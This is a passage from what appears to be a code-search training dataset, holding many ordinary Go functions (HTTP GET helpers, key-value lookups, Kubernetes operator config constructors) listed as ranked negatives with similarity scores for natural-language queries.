ReaderCloser.Close() to determine what to do when it errors.\\n\\tdefer res.Body.Close()\\n\\n\\t// Status codes of 200 to 299 are healthy; the rest are an error, redirect, etc.\\n\\tif res.StatusCode >= 300 || res.StatusCode < 200 {\\n\\t\\terrResp := &GeneralError{}\\n\\t\\tif err := json.NewDecoder(res.Body).Decode(errResp); err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"Unknown API error; status code %d; error: %+v\\\", res.StatusCode, err)\\n\\t\\t}\\n\\t\\treturn errors.New(errResp.Err)\\n\\t}\\n\\n\\tif err := json.NewDecoder(res.Body).Decode(decodedResponse); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (g *Getter) Get(url string) (*http.Response, error) {\\n\\treturn g.Client.Get(url)\\n}\",\n \"func Get(domain, url, token, tokenKey string) (*http.Response, error) {\\n\\t/*\\n\\t * First we will initalize the client\\n\\t * Then we will send the get request\\n\\t * Then we will return the response\\n\\t */\\n\\t//initalizing the client\\n\\tclient := heimdallC.NewClient(\\n\\t\\theimdallC.WithHTTPClient(&myHTTPClient{\\n\\t\\t\\ttoken: token,\\n\\t\\t\\ttokenKey: tokenKey,\\n\\t\\t\\tdomain: domain,\\n\\t\\t}),\\n\\t)\\n\\n\\t//then we will make the request\\n\\tres, err := client.Get(url, http.Header{})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t//return the response\\n\\treturn res, nil\\n}\",\n \"func (r raceMongoRepo) GetRaceByID(id string) (*domain.Race, error) {\\n\\tfmt.Printf(\\\"ID %v\\\", id)\\n\\ti := bson.IsObjectIdHex(id)\\n\\tif !i {\\n\\t\\tfmt.Println(\\\"not a valid hex\\\")\\n\\t\\treturn nil, errors.New(\\\"Not a valid id\\\")\\n\\t}\\n\\trm := RaceMongo{\\n\\t\\tID: bson.ObjectIdHex(id),\\n\\t}\\n\\terr := r.session.DB(\\\"dnd5e\\\").C(\\\"races\\\").With(r.session.Copy()).FindId(rm.ID).One(&rm)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn mapRaceToDomain(&rm), nil\\n}\",\n \"func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\\n\\tvar err error\\n\\tvar returnErr error = nil\\n\\tvar returnRes *pb.GetResponse\\n\\tvar res *clientv3.GetResponse\\n\\tvar val string\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer cancel()\\n\\tkey := req.GetKey()\\n\\tswitch req.GetType() {\\n\\tcase utils.LocalData:\\n\\t\\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\\n\\t\\t// log.Println(\\\"All local keys in this edge group\\\")\\n\\t\\t// log.Println(s.localSt.Get(ctx, \\\"\\\", clientv3.WithPrefix()))\\n\\tcase utils.GlobalData:\\n\\t\\tisHashed := req.GetIsHashed()\\n\\t\\tif s.gateway == nil {\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"RangeGet request failed: gateway node not initialized at the edge\\\")\\n\\t\\t}\\n\\t\\tstate, err := s.gateway.GetStateRPC()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"failed to get state of gateway node\\\")\\n\\t\\t}\\n\\t\\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"edge node %s not connected to dht yet or gateway node not ready\\\", s.print())\\n\\t\\t}\\n\\t\\t// log.Println(\\\"All global keys in this edge group\\\")\\n\\t\\t// log.Println(s.globalSt.Get(ctx, \\\"\\\", clientv3.WithPrefix()))\\n\\t\\tif !isHashed {\\n\\t\\t\\tkey = s.gateway.Conf.IDFunc(key)\\n\\t\\t}\\n\\t\\tans, er := s.gateway.CanStoreRPC(key)\\n\\t\\tif er != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Get request failed: communication with gateway node failed\\\")\\n\\t\\t}\\n\\t\\tif ans {\\n\\t\\t\\tres, err = s.globalSt.Get(ctx, key)\\n\\t\\t} else {\\n\\t\\t\\tval, err = s.gateway.GetKVRPC(key)\\n\\t\\t}\\n\\t}\\n\\t// cancel()\\n\\treturnErr = checkError(err)\\n\\tif (res != nil) && (returnErr == nil) {\\n\\t\\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\\n\\t\\tif len(res.Kvs) > 0 {\\n\\t\\t\\tkv := res.Kvs[0]\\n\\t\\t\\tval = string(kv.Value)\\n\\t\\t\\t// log.Printf(\\\"Key: %s, Value: %s\\\\n\\\", kv.Key, kv.Value)\\n\\t\\t\\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\\n\\t\\t} else {\\n\\t\\t\\treturnErr = status.Errorf(codes.NotFound, \\\"Key Not Found: %s\\\", req.GetKey())\\n\\t\\t}\\n\\t} else {\\n\\t\\tif returnErr == nil {\\n\\t\\t\\t// we already have the value from a remote group\\n\\t\\t\\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\\n\\t\\t}\\n\\t}\\n\\treturn returnRes, returnErr\\n}\",\n \"func (tr *Transport) GET(\\n\\turi string,\\n\\tfn Handler,\\n\\toptions ...HandlerOption,\\n) {\\n\\ttr.mux.Handler(\\n\\t\\tnet_http.MethodGet,\\n\\t\\turi,\\n\\t\\tnewHandler(fn, append(tr.options, options...)...),\\n\\t)\\n}\",\n \"func getTime() (string, error) {\\n\\t// prepare a new request\\n\\treq, err := http.NewRequest(\\\"GET\\\", url, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// set the credentials for basic auth\\n\\treq.SetBasicAuth(Username, Password)\\n\\n\\t// create a new http client\\n\\tcli := http.Client{}\\n\\n\\t// send the request and grab the response\\n\\tres, err := cli.Do(req)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tdefer res.Body.Close()\\n\\n\\t// if the request was not successfull, return an error\\n\\tif res.StatusCode != 200 {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"unexpected status code %d\\\", res.StatusCode)\\n\\t}\\n\\n\\t// read and return the response body\\n\\tbody, err := ioutil.ReadAll(res.Body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(body), nil\\n}\",\n \"func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\\n\\trecord(\\\"GET\\\", path)\\n\\n\\tinfoMutex.Lock()\\n\\tr.GET(path, Handler(alice.New(c...).ThenFunc(fn)))\\n\\tinfoMutex.Unlock()\\n}\",\n \"func get(stub shim.ChaincodeStubInterface, voteType string) peer.Response {\\n\\t// Holds a string for the response\\n\\tvar votes string\\n\\n\\t// Local variables for value & error\\n\\tvar get_value []byte\\n\\tvar err error\\n\\t\\n\\tif get_value, err = stub.GetState(voteType); err != nil {\\n\\n\\t\\tfmt.Println(\\\"Get Failed!!! \\\", err.Error())\\n\\n\\t\\treturn shim.Error((\\\"Get Failed!! \\\"+err.Error()+\\\"!!!\\\"))\\n\\n\\t} \\n\\n\\t// nil indicates non existent key\\n\\tif (get_value == nil) {\\n\\t\\tvotes = \\\"-1\\\"\\n\\t} else {\\n\\t\\tvotes = string(get_value)\\n\\t}\\n\\n\\tfmt.Println(votes)\\n\\t\\n\\treturn shim.Success(get_value)\\n}\",\n \"func (m *MockClient) Get(url string) (*http.Response, error) {\\n\\treturn GetFunc(url)\\n}\",\n \"func (c *Client) Get(key paxi.Key) (paxi.Value, error) {\\n\\tc.HTTPClient.CID++\\n\\tif *readLeader {\\n\\t\\treturn c.readLeader(key)\\n\\t} else if *readQuorum {\\n\\t\\treturn c.readQuorum(key)\\n\\t} else {\\n\\t\\treturn c.HTTPClient.Get(key)\\n\\t}\\n}\",\n \"func (c *Case) GET(p string) *RequestBuilder {\\n\\treturn &RequestBuilder{\\n\\t\\tmethod: http.MethodGet,\\n\\t\\tpath: p,\\n\\t\\tcas: c,\\n\\t\\tfail: c.fail,\\n\\t}\\n}\",\n \"func (t *TeamsService) Get(teamID int) (*TeamResponse, *simpleresty.Response, error) {\\n\\tvar result *TeamResponse\\n\\turlStr := t.client.http.RequestURL(\\\"/team/%d\\\", teamID)\\n\\n\\t// Set the correct authentication header\\n\\tt.client.setAuthTokenHeader(t.client.accountAccessToken)\\n\\n\\t// Execute the request\\n\\tresponse, getErr := t.client.http.Get(urlStr, &result, nil)\\n\\n\\treturn result, response, getErr\\n}\",\n \"func (client *Instance) GET() (statusCode int, body []byte, err error) {\\n\\tapi, err := client.nextServer()\\n\\tif err != nil {\\n\\t\\treturn 0, nil, err\\n\\t}\\n\\treturn api.HostClient.Get(nil, api.Addr)\\n}\",\n \"func (cli *Client) Get(targetURL *url.URL) {\\n\\tvar resp *resty.Response\\n\\tvar err error\\n\\n\\tif cli.Config.Oauth2Enabled {\\n\\t\\tresp, err = resty.R().\\n\\t\\t\\tSetHeader(\\\"Authorization\\\", fmt.Sprintf(\\\"Bearer %s\\\", cli.AccessToken)).\\n\\t\\t\\tGet(targetURL.String())\\n\\t} else {\\n\\t\\tresp, err = resty.R().Get(targetURL.String())\\n\\t}\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"ERR: Could not GET request, caused by: %s\\\\n\\\", err)\\n\\t\\tos.Exit(1)\\n\\t}\\n\\tfmt.Print(resp)\\n}\",\n \"func Get(key string) (string, error) {\\n\\treturn client.Get(key).Result()\\n}\",\n \"func Get(c *gophercloud.ServiceClient, idOrURL string) (r GetResult) {\\n\\tvar url string\\n\\tif strings.Contains(idOrURL, \\\"/\\\") {\\n\\t\\turl = idOrURL\\n\\t} else {\\n\\t\\turl = getURL(c, idOrURL)\\n\\t}\\n\\tresp, err := c.Get(url, &r.Body, nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (c *Client) get(url string, query url.Values) (json.RawMessage, error) {\\n\\treq, err := http.NewRequest(http.MethodGet, url, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"could not create get request\\\")\\n\\t}\\n\\treq.URL.RawQuery = query.Encode()\\n\\tres, err := c.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"cound not get %v\\\", url)\\n\\t}\\n\\tdefer res.Body.Close()\\n\\tvar resp response\\n\\tif err := json.NewDecoder(res.Body).Decode(&resp); err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"could not decode response\\\")\\n\\t}\\n\\tif resp.Code != 0 {\\n\\t\\treturn nil, errors.Errorf(\\\"get response code %d\\\", resp.Code)\\n\\t}\\n\\treturn resp.Data, nil\\n}\",\n \"func Get (url string, args map[string]string) (*http.Response, error) {\\n\\t// create a client\\n\\tclient, req, _ := GetHttpClient(url)\\n\\t// build the query\\n\\tif len(args) > 0 {\\n\\t\\treq = buildQuery(req, args)\\n\\t}\\n\\t// execute the request\\n\\t//fmt.Println(req.URL.String())\\n\\treturn client.Do(req)\\n}\",\n \"func GET(key string) (value string, err error) {\\n\\tconn := pool.Get()\\n\\tdefer conn.Close()\\n\\tvalue, err = redis.String(conn.Do(\\\"GET\\\", key))\\n\\treturn\\n}\",\n \"func (a *appService) getTravel(c *fiber.Ctx) error {\\n\\tid := c.Params(\\\"id\\\")\\n\\tif id == \\\"\\\" {\\n\\t\\treturn response(nil, http.StatusUnprocessableEntity, errors.New(\\\"id is not defined\\\"), c)\\n\\t}\\n\\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\\n\\tdefer cancel()\\n\\n\\ttravel, err := a.Repository.findOne(ctx, id)\\n\\treturn response(travel, http.StatusOK, err, c)\\n}\",\n \"func (ck *Clerk) Get(key string) string {\\n\\tDPrintf(\\\"CLIENT starting get of %s\\\\n\\\", key)\\n\\targs := GetArgs{key, nrand()}\\n\\ti := ck.leader\\n\\tfor {\\n\\t\\tvar reply GetReply\\n\\t\\tDPrintf(\\\"CLIENT %d TRYING TO CALL GET on server %d for key %s\\\\n\\\", ck.id, i, key)\\n\\t\\tdone := make(chan bool)\\n\\t\\tgo func() {\\n\\t\\t\\tok := ck.servers[i].Call(\\\"RaftKV.Get\\\", &args, &reply)\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tdone <- true\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t\\tselect {\\n\\t\\tcase <-done:\\n\\t\\t\\tDPrintf(\\\"CLIENT %d GOT GET REPLY from server %d to get %s: %+v\\\\n\\\", ck.id, i, key, reply)\\n\\t\\t\\tif reply.WrongLeader {\\n\\t\\t\\t\\ti = (i + 1) % len(ck.servers)\\n\\t\\t\\t} else if reply.Err == ErrNoKey {\\n\\t\\t\\t\\treturn \\\"\\\"\\n\\t\\t\\t} else if reply.Err == ErrLostAction {\\n\\t\\t\\t\\t// retry this server because its the leader\\n\\t\\t\\t} else if reply.Err == OK {\\n\\t\\t\\t\\tck.leader = i\\n\\t\\t\\t\\tDPrintf(\\\"CLIENT %d SET LEADER TO %d\\\\n\\\", ck.id, i)\\n\\t\\t\\t\\treturn reply.Value\\n\\t\\t\\t}\\n\\t\\tcase <-time.After(500 * time.Millisecond):\\n\\t\\t\\tDPrintf(\\\"CLIENT %d TIMED OUT ON GET REQUEST for server %d and key %s\\\", ck.id, i, key)\\n\\t\\t\\ti = (i + 1) % len(ck.servers)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (c *RESTClient) Get(ctx context.Context) (string, error) {\\n\\treq, err := http.NewRequest(http.MethodGet, c.Config.Addr, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"bad request\\\")\\n\\t}\\n\\treq.Header.Set(\\\"Accept\\\", \\\"text/plain\\\")\\n\\tresp, err := c.Do(req)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"HTTP GET failed\\\")\\n\\t}\\n\\tbb, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"could not read response\\\")\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\treturn string(bb), nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.62467825","0.5780223","0.5636601","0.5616056","0.5512909","0.54759485","0.54367733","0.54013443","0.539602","0.5387912","0.53784156","0.5369727","0.5341877","0.53329766","0.5308757","0.5296368","0.529321","0.5273714","0.5228216","0.5218521","0.5208538","0.5193568","0.519155","0.51878405","0.5185495","0.51748055","0.5170653","0.5167442","0.5163671","0.5151116","0.5131374","0.5123574","0.5119606","0.51130956","0.5107496","0.5103947","0.50886583","0.50847703","0.5072637","0.5071371","0.5068568","0.5062075","0.5053441","0.50212455","0.5016871","0.49999243","0.4985906","0.49768844","0.49723622","0.4969478","0.4967608","0.49672633","0.49591666","0.49543673","0.49539185","0.4942532","0.49380472","0.49351865","0.49338764","0.4917404","0.4915441","0.49142987","0.49141705","0.49126154","0.49082828","0.489601","0.4889166","0.48842913","0.48746046","0.4867628","0.48643932","0.4858297","0.48504114","0.48492965","0.4847478","0.48439768","0.48374355","0.48363286","0.48306987","0.48260218","0.48252016","0.4821439","0.48145795","0.48065048","0.48050013","0.4787719","0.47865054","0.47861043","0.47857255","0.4779871","0.4776668","0.47745064","0.4771988","0.4770173","0.4766659","0.4762845","0.47582802","0.4754937","0.47543445","0.4744513"],"string":"[\n \"0.62467825\",\n \"0.5780223\",\n \"0.5636601\",\n \"0.5616056\",\n \"0.5512909\",\n \"0.54759485\",\n \"0.54367733\",\n \"0.54013443\",\n \"0.539602\",\n \"0.5387912\",\n \"0.53784156\",\n \"0.5369727\",\n \"0.5341877\",\n \"0.53329766\",\n \"0.5308757\",\n \"0.5296368\",\n \"0.529321\",\n \"0.5273714\",\n \"0.5228216\",\n \"0.5218521\",\n \"0.5208538\",\n \"0.5193568\",\n \"0.519155\",\n \"0.51878405\",\n \"0.5185495\",\n \"0.51748055\",\n \"0.5170653\",\n \"0.5167442\",\n \"0.5163671\",\n \"0.5151116\",\n \"0.5131374\",\n \"0.5123574\",\n \"0.5119606\",\n \"0.51130956\",\n \"0.5107496\",\n \"0.5103947\",\n \"0.50886583\",\n \"0.50847703\",\n \"0.5072637\",\n \"0.5071371\",\n \"0.5068568\",\n \"0.5062075\",\n \"0.5053441\",\n \"0.50212455\",\n \"0.5016871\",\n \"0.49999243\",\n \"0.4985906\",\n \"0.49768844\",\n \"0.49723622\",\n \"0.4969478\",\n \"0.4967608\",\n \"0.49672633\",\n \"0.49591666\",\n \"0.49543673\",\n \"0.49539185\",\n \"0.4942532\",\n \"0.49380472\",\n \"0.49351865\",\n \"0.49338764\",\n \"0.4917404\",\n \"0.4915441\",\n \"0.49142987\",\n \"0.49141705\",\n \"0.49126154\",\n \"0.49082828\",\n \"0.489601\",\n \"0.4889166\",\n \"0.48842913\",\n \"0.48746046\",\n \"0.4867628\",\n \"0.48643932\",\n \"0.4858297\",\n \"0.48504114\",\n \"0.48492965\",\n \"0.4847478\",\n \"0.48439768\",\n \"0.48374355\",\n \"0.48363286\",\n \"0.48306987\",\n \"0.48260218\",\n \"0.48252016\",\n \"0.4821439\",\n \"0.48145795\",\n \"0.48065048\",\n \"0.48050013\",\n \"0.4787719\",\n \"0.47865054\",\n \"0.47861043\",\n \"0.47857255\",\n \"0.4779871\",\n \"0.4776668\",\n \"0.47745064\",\n \"0.4771988\",\n \"0.4770173\",\n \"0.4766659\",\n \"0.4762845\",\n \"0.47582802\",\n \"0.4754937\",\n \"0.47543445\",\n \"0.4744513\"\n]"},"document_score":{"kind":"string","value":"0.75820374"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106158,"cells":{"query":{"kind":"string","value":"NewRestructureOperatorConfig creates a new restructure operator config with default values"},"document":{"kind":"string","value":"func NewRestructureOperatorConfig(operatorID string) *RestructureOperatorConfig {\n\treturn &RestructureOperatorConfig{\n\t\tTransformerConfig: helper.NewTransformerConfig(operatorID, \"restructure\"),\n\t}\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c RestructureOperatorConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\ttransformerOperator, err := c.TransformerConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trestructureOperator := &RestructureOperator{\n\t\tTransformerOperator: transformerOperator,\n\t\tops: c.Ops,\n\t}\n\n\treturn []operator.Operator{restructureOperator}, nil\n}","func NewDefaultOperatorConfig(cfg *tests.Config) *tests.OperatorConfig {\n\tfeatures := []string{}\n\tfor k, v := range cfg.OperatorFeatures {\n\t\tt := \"false\"\n\t\tif v {\n\t\t\tt = \"true\"\n\t\t}\n\t\tfeatures = append(features, fmt.Sprintf(\"%s=%s\", k, t))\n\t}\n\treturn &tests.OperatorConfig{\n\t\tNamespace: \"pingcap\",\n\t\tReleaseName: \"operator\",\n\t\tImage: cfg.OperatorImage,\n\t\tTag: cfg.OperatorTag,\n\t\tControllerManagerReplicas: util.IntPtr(2),\n\t\tSchedulerImage: \"registry.k8s.io/kube-scheduler\",\n\t\tSchedulerReplicas: util.IntPtr(2),\n\t\tFeatures: features,\n\t\tLogLevel: \"4\",\n\t\tWebhookServiceName: \"webhook-service\",\n\t\tWebhookSecretName: \"webhook-secret\",\n\t\tWebhookConfigName: \"webhook-config\",\n\t\tImagePullPolicy: v1.PullIfNotPresent,\n\t\tTestMode: true,\n\t\tWebhookEnabled: true,\n\t\tStsWebhookEnabled: true,\n\t\tCabundle: \"\",\n\t\tBackupImage: cfg.BackupImage,\n\t\tStringValues: map[string]string{\n\t\t\t\"admissionWebhook.failurePolicy.validation\": \"Fail\",\n\t\t\t\"admissionWebhook.failurePolicy.mutation\": \"Fail\",\n\t\t},\n\t}\n}","func newRebalanceOptions() *rebalanceOptions {\n\treturn &rebalanceOptions{\n\t\tconfig: clusterConfigShim{},\n\t\tlogger: log.NewNopLogger(),\n\t\tclock: clock.New(),\n\t}\n}","func newConfig() Config {\n\treturn Config{\n\t\tDefaultContainerConfig: newDefaultContainerConfig(),\n\t\tContainersConfig: map[string]ContainerConfig{},\n\t\tExclude: []string{},\n\t}\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileHostOperatorConfig{client: mgr.GetClient()}\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treconciler := &ReconcileAppsodyApplication{ReconcilerBase: oputils.NewReconcilerBase(mgr.GetClient(), mgr.GetScheme(), mgr.GetConfig(), mgr.GetEventRecorderFor(\"appsody-operator\")),\n\t\tStackDefaults: map[string]appsodyv1beta1.AppsodyApplicationSpec{}, StackConstants: map[string]*appsodyv1beta1.AppsodyApplicationSpec{}}\n\n\twatchNamespaces, err := oputils.GetWatchNamespaces()\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to get watch namespace\")\n\t\tos.Exit(1)\n\t}\n\tlog.Info(\"newReconciler\", \"watchNamespaces\", watchNamespaces)\n\n\tns, err := k8sutil.GetOperatorNamespace()\n\t// When running the operator locally, `ns` will be empty string\n\tif ns == \"\" {\n\t\t// If the operator is running locally, use the first namespace in the `watchNamespaces`\n\t\t// `watchNamespaces` must have at least one item\n\t\tns = watchNamespaces[0]\n\t}\n\n\tconfigMap := &corev1.ConfigMap{}\n\tconfigMap.Namespace = ns\n\tconfigMap.Name = \"appsody-operator\"\n\tconfigMap.Data = common.DefaultOpConfig()\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create config map for the operator\")\n\t\tos.Exit(1)\n\t}\n\n\tfData, err := ioutil.ReadFile(\"deploy/stack_defaults.yaml\")\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to read defaults config map from file\")\n\t\tos.Exit(1)\n\t}\n\n\tconfigMap = &corev1.ConfigMap{}\n\terr = yaml.Unmarshal(fData, configMap)\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to parse defaults config map from file\")\n\t\tos.Exit(1)\n\t}\n\tconfigMap.Namespace = ns\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create defaults config map in the cluster\")\n\t\tos.Exit(1)\n\t}\n\n\tfData, err = ioutil.ReadFile(\"deploy/stack_constants.yaml\")\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to read constants config map from file\")\n\t\tos.Exit(1)\n\t}\n\n\tconfigMap = &corev1.ConfigMap{}\n\terr = yaml.Unmarshal(fData, configMap)\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to parse constants config map from file\")\n\t\tos.Exit(1)\n\t}\n\tconfigMap.Namespace = ns\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create constants config map in the cluster\")\n\t\tos.Exit(1)\n\t}\n\n\treturn reconciler\n}","func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\n\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\n\terr := cfg.load()\n\treturn &cfg, err\n}","func LoadOperatorConf(cmd *cobra.Command) *Conf {\n\tc := &Conf{}\n\n\tc.NS = util.KubeObject(bundle.File_deploy_namespace_yaml).(*corev1.Namespace)\n\tc.SA = util.KubeObject(bundle.File_deploy_service_account_yaml).(*corev1.ServiceAccount)\n\tc.SAEndpoint = util.KubeObject(bundle.File_deploy_service_account_endpoint_yaml).(*corev1.ServiceAccount)\n\tc.SAUI = util.KubeObject(bundle.File_deploy_service_account_ui_yaml).(*corev1.ServiceAccount)\n\tc.Role = util.KubeObject(bundle.File_deploy_role_yaml).(*rbacv1.Role)\n\tc.RoleEndpoint = util.KubeObject(bundle.File_deploy_role_endpoint_yaml).(*rbacv1.Role)\n\tc.RoleUI = util.KubeObject(bundle.File_deploy_role_ui_yaml).(*rbacv1.Role)\n\tc.RoleBinding = util.KubeObject(bundle.File_deploy_role_binding_yaml).(*rbacv1.RoleBinding)\n\tc.RoleBindingEndpoint = util.KubeObject(bundle.File_deploy_role_binding_endpoint_yaml).(*rbacv1.RoleBinding)\n\tc.ClusterRole = util.KubeObject(bundle.File_deploy_cluster_role_yaml).(*rbacv1.ClusterRole)\n\tc.ClusterRoleBinding = util.KubeObject(bundle.File_deploy_cluster_role_binding_yaml).(*rbacv1.ClusterRoleBinding)\n\tc.Deployment = util.KubeObject(bundle.File_deploy_operator_yaml).(*appsv1.Deployment)\n\n\tc.NS.Name = options.Namespace\n\tc.SA.Namespace = options.Namespace\n\tc.SAEndpoint.Namespace = options.Namespace\n\tc.Role.Namespace = options.Namespace\n\tc.RoleEndpoint.Namespace = options.Namespace\n\tc.RoleBinding.Namespace = options.Namespace\n\tc.RoleBindingEndpoint.Namespace = options.Namespace\n\tc.ClusterRole.Namespace = options.Namespace\n\tc.Deployment.Namespace = options.Namespace\n\n\tconfigureClusterRole(c.ClusterRole)\n\tc.ClusterRoleBinding.Name = c.ClusterRole.Name\n\tc.ClusterRoleBinding.RoleRef.Name = c.ClusterRole.Name\n\tfor i := range c.ClusterRoleBinding.Subjects {\n\t\tc.ClusterRoleBinding.Subjects[i].Namespace = options.Namespace\n\t}\n\n\tc.Deployment.Spec.Template.Spec.Containers[0].Image = options.OperatorImage\n\tif options.ImagePullSecret != \"\" {\n\t\tc.Deployment.Spec.Template.Spec.ImagePullSecrets =\n\t\t\t[]corev1.LocalObjectReference{{Name: options.ImagePullSecret}}\n\t}\n\tc.Deployment.Spec.Template.Spec.Containers[1].Image = options.CosiSideCarImage\n\n\treturn c\n}","func newConfig() *Config {\n\t// TODO: use config as default, allow setting some values per-job\n\t// and prevent config changes affecting already-running tasks\n\treturn &Config{\n\t\tPath: DefaultPath,\n\t\tDatastorePrefix: \"MP_\",\n\t\tDefaultQueue: \"\",\n\t\tShards: 8,\n\t\tOversampling: 32,\n\t\tLeaseDuration: time.Duration(30) * time.Second,\n\t\tLeaseTimeout: time.Duration(10)*time.Minute + time.Duration(30)*time.Second,\n\t\tTaskTimeout: time.Duration(10)*time.Minute - time.Duration(30)*time.Second,\n\t\tCursorTimeout: time.Duration(50) * time.Second,\n\t\tRetries: 31,\n\t\tLogVerbose: false,\n\t\tHost: \"\",\n\t}\n}","func New(config Config) (*Operator, error) {\n\t// Dependencies.\n\tif config.BackOff == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.BackOff must not be empty\")\n\t}\n\tif config.Framework == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Framework must not be empty\")\n\t}\n\tif config.Informer == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Informer must not be empty\")\n\t}\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Logger must not be empty\")\n\t}\n\tif config.TPR == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.TPR must not be empty\")\n\t}\n\n\tnewOperator := &Operator{\n\t\t// Dependencies.\n\t\tbackOff: config.BackOff,\n\t\tframework: config.Framework,\n\t\tinformer: config.Informer,\n\t\tlogger: config.Logger,\n\t\ttpr: config.TPR,\n\n\t\t// Internals\n\t\tbootOnce: sync.Once{},\n\t\tmutex: sync.Mutex{},\n\t}\n\n\treturn newOperator, nil\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileDeploymentConfig{Client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}","func (r *Reconciler) createRestoreConfig(ctx context.Context, postgresCluster *v1beta1.PostgresCluster,\n\tconfigHash string) error {\n\n\tpostgresClusterWithMockedBackups := postgresCluster.DeepCopy()\n\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Global = postgresCluster.Spec.\n\t\tDataSource.PGBackRest.Global\n\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Repos = []v1beta1.PGBackRestRepo{\n\t\tpostgresCluster.Spec.DataSource.PGBackRest.Repo,\n\t}\n\n\treturn r.reconcilePGBackRestConfig(ctx, postgresClusterWithMockedBackups,\n\t\t\"\", configHash, \"\", \"\", []string{})\n}","func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\n\tlogger = logger.With(\"operator\", operatorName)\n\n\thandler := NewHandler(logger)\n\tcrd := NewMultiRoleBindingCRD(k8ssvc)\n\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\n\treturn operator.NewOperator(crd, ctrl, logger)\n}","func NewTelegrafConfig(clone *Config) *serializers.Config {\n\ttc := &serializers.Config{\n\t\tDataFormat: clone.DataFormat,\n\t\tGraphiteTagSupport: clone.GraphiteTagSupport,\n\t\tInfluxMaxLineBytes: clone.InfluxMaxLineBytes,\n\t\tInfluxSortFields: clone.InfluxSortFields,\n\t\tInfluxUintSupport: clone.InfluxUintSupport,\n\t\tPrefix: clone.Prefix,\n\t\tTemplate: clone.Template,\n\t\tTimestampUnits: clone.TimestampUnits,\n\t\tHecRouting: clone.HecRouting,\n\t\tWavefrontSourceOverride: clone.WavefrontSourceOverride,\n\t\tWavefrontUseStrict: clone.WavefrontUseStrict,\n\t}\n\tif tc.DataFormat == \"\" {\n\t\ttc.DataFormat = \"influx\"\n\t}\n\treturn tc\n}","func newRoadMutation(c config, op Op, opts ...roadOption) *RoadMutation {\n\tm := &RoadMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRoad,\n\t\tclearedFields: 